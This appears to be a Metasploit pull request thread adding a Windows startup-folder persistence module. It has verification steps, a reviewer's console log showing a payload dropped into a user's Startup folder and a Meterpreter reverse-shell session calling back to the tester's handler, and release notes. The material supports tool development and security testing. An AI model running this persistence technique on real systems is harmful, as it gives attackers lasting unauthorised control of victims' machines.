windows persistence: startup folder

[h00die]

Creates a windows startup folder persistence. Part of #20374

I can't find a persistence module for this, so I'm guessing its a new one! However, holy gosh is this a glaring hole for missing a persistence since its like the original most basic one ever.

Verification

• Start msfconsole
• exploit the box somehow
• use exploit/windows/persistence/startup_folder
• set SESSION <id>
• exploit
• Verify persistence is created, and you get a new session after logout/login
• Verify cleanup works
• Document is updated and correct

[msutovsky-r7]

msf exploit(windows/persistence/startup_folder) > run verbose=true 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Likely exploitable, able to write test file to C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
[+] Writing payload to C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rFGujV.exe
[*] Payload (7168 bytes) uploaded on WIN10_2004_8D28 to C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rFGujV.exe
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_2004_8D28_20251029.3022/WIN10_2004_8D28_20251029.3022.rc
[*] 10.5.132.148 - Meterpreter session 1 closed.  Reason: Died
WARNING: Local file /home/ms/git/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
[*] Sending stage (498061 bytes) to 10.5.132.148
WARNING: Local file /home/ms/git/metasploit-framework/data/meterpreter/ext_server_stdapi.x86.dll is being used
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.132.148:49804) at 2025-10-29 06:31:36 +0100

msf exploit(windows/persistence/startup_folder) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                                      Connection
  --  ----  ----                     -----------                                      ----------
  2         meterpreter x86/windows  WIN10_2004_8D28\Administrator @ WIN10_2004_8D28  192.168.3.7:4444 -> 10.5.132.148:49804 (10.5.132.148)

msf exploit(windows/persistence/startup_folder) > sessions 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WIN10_2004_8D28
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

[msutovsky-r7]

Release Notes

This adds a new persistence module for Windows - the startup folder. The module will drop the payload into the startup programs folder. The module can drop the payload into a folder for a specific user or the system, affecting all users.